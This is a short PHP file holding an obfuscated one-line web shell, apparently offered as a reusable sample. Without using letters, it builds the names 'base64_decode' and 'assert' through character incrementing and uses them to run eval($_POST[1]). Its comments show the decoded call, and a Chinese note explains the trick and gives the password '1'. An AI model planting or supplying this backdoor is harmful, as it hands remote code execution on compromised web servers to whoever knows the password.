<?php
$_="";
$_[+$_]++;
$_=$_."";
$___=$_[+""];//A
$____=$___;
$____++;//B
$_____=$____;
$_____++;//C
$______=$_____;
$______++;//D
$_______=$______;
$_______++;//E
$________=$_______;
$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O
$_________=$________;
$_________++;$_________++;$_________++;$_________++;//S
$_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______;
$________++;$________++;$________++;//R
$_____=$_________;
$_____++;//T
$__=$___.$_________.$_________.$_______.$________.$_____;
$__($_("ZXZhbCgkX1BPU1RbMV0p"));  
//ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbMV0p"));
//ASSERT("eval($_POST[1])");

//key:=1
?>

用字符串拼个Assert出来，然后再eval一个POST

password:1